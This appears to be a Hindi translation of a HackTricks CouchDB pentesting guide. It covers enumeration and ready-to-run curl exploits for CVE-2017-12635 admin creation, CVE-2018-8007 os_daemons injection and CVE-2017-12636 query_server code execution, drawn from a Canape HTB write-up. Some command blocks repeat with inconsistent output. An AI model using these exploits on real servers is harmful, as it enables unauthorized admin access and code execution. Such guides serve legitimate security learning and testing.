31 KiB
5984,6984 - CouchDB का पेंटेस्टिंग
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
मूल जानकारी
CouchDB एक दस्तावेज़-उन्मुख डेटाबेस है और प्रत्येक दस्तावेज़ में फील्ड्स को कुंजी-मान मैप्स के रूप में संग्रहीत किया जाता है। फील्ड्स या तो एक सरल कुंजी/मान जोड़ी, सूची, या मैप हो सकते हैं।
प्रत्येक दस्तावेज़ जो डेटाबेस में संग्रहीत होता है, उसे एक दस्तावेज़-स्तर की अद्वितीय पहचानकर्ता (_id
) के साथ-साथ प्रत्येक परिवर्तन के लिए एक संशोधन (_rev
) संख्या भी दी जाती है जो डेटाबेस में सहेजी जाती है।
डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
स्वचालित सूचीकरण
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
मैनुअल गणना
बैनर
curl http://IP:5984/
यह स्थापित CouchDB इंस्टेंस पर एक GET अनुरोध भेजता है। उत्तर कुछ इस प्रकार दिखना चाहिए:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको 401 Unauthorized
के साथ कुछ इस तरह का संदेश मिलता है: {"error":"unauthorized","reason":"Authentication required."}
आप बैनर या किसी अन्य एंडपॉइंट तक पहुँचने में सक्षम नहीं होंगे।
{% endhint %}
जानकारी संग्रहण
ये वे एंडपॉइंट्स हैं जहाँ आप GET अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप अधिक एंडपॉइंट्स और अधिक विस्तृत विवरण couchdb दस्तावेज़ीकरण में पा सकते हैं।
/_active_tasks
चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल है।/_all_dbs
CouchDB इंस्टेंस में सभी डेटाबेस की सूची देता है।/_cluster_setup
नोड या क्लस्टर की स्थिति देता है, क्लस्टर सेटअप विज़ार्ड के अनुसार।/_db_updates
CouchDB इंस्टेंस में सभी डेटाबेस इवेंट्स की सूची देता है। इस एंडपॉइंट का उपयोग करने के लिए_global_changes
डेटाबेस का होना आवश्यक है।/_membership
cluster_nodes
के रूप में क्लस्टर का हिस्सा बने नोड्स को प्रदर्शित करता है।all_nodes
फील्ड उन सभी नोड्स को प्रदर्शित करता है जिनके बारे में यह नोड जानता है, जिनमें क्लस्टर का हिस्सा बने नोड्स भी शामिल हैं।/_scheduler/jobs
प्रतिकृति कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य की जानकारी, प्रतिकृति आईडी, हाल की घटनाओं का इतिहास, और कुछ अन्य चीजें शामिल होंगी।/_scheduler/docs
प्रतिकृति दस्तावेज़ स्थितियों की सूची। सभी दस्तावेज़ों की जानकारी शामिल है, यहाँ तक किcompleted
औरfailed
स्थितियों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, प्रतिकृति आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
एंडपॉइंट का उपयोग सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह/_node/_local
तक पहुँचकर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है।/_node/{node-name}/_stats
_stats
संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए आँकड़े शामिल होते हैं। शाब्दिक स्ट्रिंग_local
स्थानीय नोड नाम के लिए एक उपनाम के रूप में काम करती है, इसलिए सभी स्टैट्स URL के लिए,{node-name}
को_local
के साथ बदला जा सकता है, ताकि स्थानीय नोड के आँकड़ों के साथ बातचीत की जा सके।/_node/{node-name}/_system
_systemresource एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय आँकड़े शामिल होते हैं_._ आप ___local
का उपयोग {node-name} के रूप में वर्तमान नोड की जानकारी प्राप्त करने के लिए कर सकते हैं।/_node/{node-name}/_restart
/_up
पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदिmaintenance_mode
true
याnolb
है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा।/_uuids
CouchDB इंस्टेंस से एक या अधिक सार्वभौमिक अद्वितीय पहचानकर्ता (UUIDs) का अनुरोध करता है।/_reshard
पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की गिनती के साथ-साथ क्लस्टर पर रीशार्डिंग की स्थिति देता है।
अधिक दिलचस्प जानकारी यहाँ बताए गए तरीके से निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB
डेटाबेस सूची
curl -X GET http://IP:5984/_all_dbs
यदि वह अनुरोध 401 अनधिकृत के साथ प्रतिक्रिया देता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ मान्य प्रमाण-पत्र की आवश्यकता है:
curl -X GET http://user:password@IP:5984/_all_dbs
किसी वैध Credentials का पता लगाने के लिए आप कोशिश कर सकते हैं सेवा को bruteforce करने के लिए.
यह एक उदाहरण है couchdb के प्रतिक्रिया का जब आपके पास पर्याप्त अधिकार होते हैं डेटाबेस की सूची बनाने के लिए (यह सिर्फ डीबीएस की एक सूची है):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
डेटाबेस जानकारी
आप कुछ डेटाबेस जानकारी (जैसे फाइलों की संख्या और आकार) प्राप्त कर सकते हैं, डेटाबेस का नाम एक्सेस करके:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
दस्तावेज़ सूची
डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
दस्तावेज़ पढ़ें
डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB विशेषाधिकार वृद्धि CVE-2017-12635
Erlang और JavaScript JSON पार्सरों के बीच के अंतर की वजह से आप निम्नलिखित अनुरोध के साथ hacktricks:hacktricks
क्रेडेंशियल्स के साथ एक एडमिन यूजर बना सकते हैं:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
CouchDB RCE
Erlang Cookie
CouchDB डॉक्स में, क्लस्टर सेट-अप सेक्शन में, CouchDB द्वारा प्रयुक्त विभिन्न पोर्ट्स के बारे में बात की गई है:
क्लस्टर मोड में CouchDB पोर्ट
5984
का उपयोग करता है जैसे स्टैंडअलोन, लेकिन यह5986
का भी उपयोग करता है नोड-लोकल APIs के लिए।Erlang अन्य नोड्स को खोजने के लिए TCP पोर्ट
4369
(EPMD) का उपयोग करता है, इसलिए सभी सर्वर्स को इस पोर्ट पर एक दूसरे से बात करने में सक्षम होना चाहिए। Erlang क्लस्टर में, सभी नोड्स अन्य सभी नोड्स से जुड़े होते हैं। एक जाल।
और फिर एक दिलचस्प चेतावनी है:
यदि हम प्रोसेस लिस्ट में देखें, तो हम देख सकते हैं कि कुकी, “monster”:
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
आप इस खंड को पढ़कर Erlangs कुकीज़ का दुरुपयोग करके RCE प्राप्त करने का तरीका जान सकते हैं।
साथ ही, आप Canape HTB मशीन राइटअप जैसे यह एक पढ़कर और अभ्यास करके देख सकते हैं कि कैसे इस वल्न का शोषण करें।
सफल CVE-2018-8007 local.ini
लिखने की अनुमतियों के साथ
इस पोस्ट को लिखते समय, मुझे पता चला कि CouchDB के लिए mdsec से एक नया CVE जारी किया गया है, CVE-2018-8007। इसके लिए भी local.ini
फाइल में लिखने की आवश्यकता होती है, इसलिए यह Canape के लिए उपयोगी विकल्प नहीं है। लेकिन चूंकि मैंने पहले ही इसे रूट के रूप में लिखने योग्य बना दिया है, आइए देखते हैं कि क्या हम इसे काम करवा सकते हैं।
एक साफ और अब लिखने योग्य local.ini
के साथ शुरू करें (और एक बैकअप के साथ):
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
हम local.ini
फाइल में origins को मॉडिफाई करने के लिए curl का उपयोग कर सकते हैं। यहाँ पर भेद्यता यह है कि अगर हम curl का उपयोग करके एक नया origin और फिर newlines डालते हैं, तो हम अतिरिक्त सामग्री लिख सकते हैं, जिसमें एक नया हेडर और विवरण शामिल हैं। इसलिए हम [os_daemons]
फील्ड का लाभ उठाएंगे, और CouchDB के लिए एक प्रक्रिया जोड़ेंगे जिसे वह चलाने की कोशिश करता रहेगा:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
रूट शेल में, हम देख सकते हैं कि क्या बदलाव हैं:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
फिर भी, फाइल वहाँ नहीं है:
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
यदि हम "couchdb" के साथ cmdline में चल रही प्रक्रियाओं को देखें, तो हमें न केवल वह कमांड लाइन मिलती है जो हमें पहले इस्तेमाल किए गए कुकी मान देती है, बल्कि runsrv couchdb
भी मिलता है:
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
यदि हम उस प्रक्रिया को मार देते हैं, तो वह तुरंत वापस आ जाती है (नई pid का ध्यान दें):
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
और, पुनः आरंभ करने पर, OS_Daemons चलाता है:
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
CVE-2017-12636 के साथ सफल प्रयास जिसमें local.ini लिखने की अनुमति है
CVE-2017-12636 couchdb प्रक्रिया के माध्यम से कोड निष्पादन की अनुमति देता है। हालांकि, यह इस कॉन्फ़िगरेशन में काम नहीं करेगा।
कुछ POCs संदर्भ के लिए उपलब्ध हैं:
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913/
हमें एक नया query_server लिखने की आवश्यकता होगी, और फिर उसे आमंत्रित करना होगा। Canape जारी होने पर, अधिकांश POCs couchdb 1.x के लिए थे, लेकिन यह बॉक्स 2 चला रहा है, इसलिए अधिकांश POCs से query_servers का पथ मौजूद नहीं है। अब यह बदल गया है, लेकिन हम वही कदम उठाएंगे। पहले, संस्करण प्राप्त करें, और दिखाएं कि 1.X पथ मौजूद नहीं है:
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
नए पथ के लिए 2.0 को अपडेट करें:
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
वहां से, हमें एक query_server जोड़ना चाहिए और फिर उसे आमंत्रित करना चाहिए, परंतु हम कर पाने में असमर्थ हैं।
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
कुछ गूगलिंग से पता चलता है कि यह अनुमतियों से संबंधित समस्या है। वास्तव में, अगर हम अपने रूट शेल के साथ जांच करें, तो हम देख सकते हैं कि local.ini
फाइल किसी के द्वारा भी लिखने योग्य नहीं है, अकेले www-data को छोड़कर:
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
तो यह Canape के लिए एक बंद रास्ता है। लेकिन अगर हम इसे काम करने की कोशिश करना चाहते हैं, तो हम इसे हमारे root या homer पहुँच के साथ पढ़ने योग्य बना सकते हैं, और इस पथ पर आगे बढ़ सकते हैं। हम मूल का एक बैकअप बनाएंगे ताकि हम देख सकें कि क्या बदलाव होते हैं:
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
अब, हमारे www-data shell पर वापस:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
हमें cmd query server के लिए पिछला मान वापस मिलता है, जिसका अर्थ है सफलता। और रूट शेल में, हम देख सकते हैं कि यह काम कर गया:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
अब, हमें एक db बनाने में सक्षम होना चाहिए, उसके बाद उस db में एक दस्तावेज़ बनाएं, और फिर एक view के साथ उसे अनुरोध करें जो हमारे query_server को मैप करता है ताकि निष्पादन प्राप्त हो सके।
db और दस्तावेज़ बनाएं:
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
इसे एक दृश्य में अनुरोध करें:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
सारांश एक अलग पेलोड के साथ
Shodan
port:5984 couchdb
संदर्भ
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सदस्यता योजनाएँ देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.